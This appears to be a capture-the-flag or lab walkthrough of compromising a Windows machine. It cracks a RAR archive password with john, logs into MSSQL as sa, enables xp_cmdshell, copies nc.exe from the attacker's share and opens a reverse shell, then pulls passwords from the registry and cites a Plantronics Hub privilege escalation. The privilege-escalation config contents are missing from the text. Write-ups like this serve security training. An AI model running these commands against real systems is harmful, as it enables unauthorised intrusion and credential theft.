The MSSQL_BAK.rar
looks interesting. It is password protected.
Extract the RAR hash: rar2john MSSQL_BAK.rar > crackme
Crack the hash: john --wordlist=/usr/share/wordlists/rockyou.txt crackme
We find the password letmeinplease
.
Unrar the file: unrar e MSSQL_BAK.rar
Inside the archive is a text file.
The credentials are sa:EjectFrailtyThorn425
.
MSSQL (1435)
Using the previously found credentials, login using mssqlclient.py
.
mssqlclient.py -p 1435 sa:EjectFrailtyThorn425@192.168.217.70
Exploitation
Once in, we can enable code execution using the enable_xp_cmdshell
command.
Then, execute a command: xp_cmdshell whoami /all
Transfer nc.exe
to a writable directory:
xp_cmdshell copy \\192.168.49.217\ROPNOP\nc.exe c:\Users\Public\nc.exe
Then, trigger a reverse shell (try a few common ports, port 80 works in this case):
xp_cmdshell c:\Users\Public\nc.exe -e cmd.exe 192.168.49.217 80
Unfortunately we don't have access to local.txt
just yet.
Using reg query HKLM /f pass /t REG_SZ /s
, we find an interesting password.
Using the credentials jane:TwilightAirmailMuck234
, we can RDP in as Jane.
Privilege Escalation
On Desktop we find a Platronics Hub app (version 3.13.2)
This version suffers from a local privilege escalation vulnerability: https://www.exploit-db.com/exploits/47845
Create a MajorUpgrade.config
with the following contents:
Upon saving this file, we get a SYSTEM shell.
